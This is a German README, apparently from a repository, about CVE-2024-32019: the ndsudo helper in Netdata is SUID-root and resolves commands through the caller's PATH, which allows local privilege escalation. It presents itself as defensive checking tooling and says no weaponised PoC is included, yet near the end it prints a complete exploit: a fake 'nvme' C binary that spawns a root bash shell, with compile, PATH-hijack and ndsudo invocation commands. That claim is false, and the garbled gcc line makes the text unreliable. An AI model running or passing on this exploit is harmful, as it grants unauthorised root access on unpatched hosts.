
Prüft die Netdata ndsudo SUID PATH Privilegieneskalations-Exposition für CVE-2024-32019 und validiert Patches ohne weaponisierte Ausnutzung.
ndsudo Lokale PrivilegienausweitungNetdadas ndsudo-Helfer (installiert als setuid root) schränkt ein, welche Befehle er ausführt, aber löst diese Befehle über den PATH des Aufrufers auf. In betroffenen Versionen kann ein lokaler Benutzer eine bösartige Binärdatei früher im PATH platzieren und ndsudo dazu bringen, sie mit Root-Rechten auszuführen. Behoben in Netdata 1.45.3 und 1.45.0-169.
Betroffen: >= 1.44.0-60, < 1.45.0-169 und (gemäß Upstream-Advisory).
>= 1.45.0, < 1.45.3Behoben: 1.45.3 (stable), 1.45.0-169 (nightly). GitHub
Lokale Privilegienausweitung zu Root auf Systemen, auf denen ndsudo mit SUID installiert ist und der Benutzer es aufrufen kann (üblicherweise Mitglieder der Gruppe netdata). NVDGitHub
ndsudo ist SUID-root und führt eine Whitelist von Unterbefehlen wie nvme-list, nvme-smart-log usw.
Es ruft externe ausführbare Dateien über ihren Namen auf (z. B. nvme), die über PATH aufgelöst werden, anstatt absolute Pfade oder eine sichere, feste Suche zu verwenden.
Wenn ein beschreibbares Verzeichnis vor den Systempfaden erscheint, kann ein Angreifer eine täuschend ähnliche Binärdatei einschleusen, die als Root ausgeführt wird. GitHub
Dieses Repository enthält Nicht-Exploit-Prüfwerkzeuge, die:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (oder wo auch immer installiert) auf SUID/Eigentümerschaft untersuchen.
PATH nach beschreibbaren Verzeichnissen durchsuchen, die vor gängigen Systempfaden liegen.
Das Vorhandensein von Whitelist-Unterbefehlsnamen bestätigen, die ndsudo auszuführen versuchen könnte.
Optional ndsudo --test <subcommand> ausführen, um den aufgelösten Befehl ohne dessen Ausführung auszugeben (mit Vorsicht verwenden, zuerst den Code lesen). GitHub
⚠️ Es ist kein weaponisierter PoC enthalten. Dieses Projekt dient Verteidigern und Forschern dazu, Exposition zu bewerten und Patches verantwortungsvoll zu validieren.
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata Advisory (GHSA-pmhq-4cxq-wj93). GitHub
Wiz-Zusammenfassung. wiz.io
Snyk-Bericht. Vulnerability Guide
MITRE/CVE-Eintrag. CVE